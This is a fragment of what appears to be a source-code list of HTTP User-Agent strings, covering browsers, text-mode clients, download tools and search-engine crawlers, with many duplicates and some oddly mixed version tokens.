'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
'Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)', 'Wget/1.8.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0', 'Mediapartners-Google/2.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7',
'Mozilla/4.04 [en] (WinNT; I)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)',
'lwp-trivial/1.41', 'NetBSD-ftp/20031210', 'Dillo/0.8.5-i18n-misc',
'Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)',
'Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre14; IRIX64 6.5 IP27; 145x54)', 'Wget/1.10.1',
'ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)',
'Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)',
'Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1', 'Opera/8.52 (X11; Linux i386; U; de)',
'Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711',
'Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)', 'Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)',
'Opera/5.0 (SunOS 5.8 sun4m; U) [en]', 'Links (2.1pre15; SunOS 5.8 sun4m; 80x24)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d', 'Wget/1.8.1', 'Wget/1.9.1',
'tnftp/20050625', 'Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16',
'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122', 'Wget/1.7',
'Lynx/2.8.2rel.1 libwww-FM/2.14', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e',
'Links (2.1pre20; SunOS 5.10 sun4u; 80x22)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i',
'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5',
'Opera/8.51 (X11; Linux i386; U; de)', 'Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)',
'Links (0.96; OpenBSD 3.0 sparc)', 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c',
'Lynx/2.8.3rel.1 libwww-FM/2.14',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)', 'libwww-perl/5.79',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'msnbot/1.0 (+http://search.msn.com/msnbot.htm)', 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)',
'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/4.8 [en] (Windows NT 5.1; U)', 'Opera/8.51 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)',
'sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; <EMAIL>)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'BrowserEmulator/0.9 see http://dejavu.org',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624',
'iCCrawler (http://www.iccenter.net/bot.htm)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1',
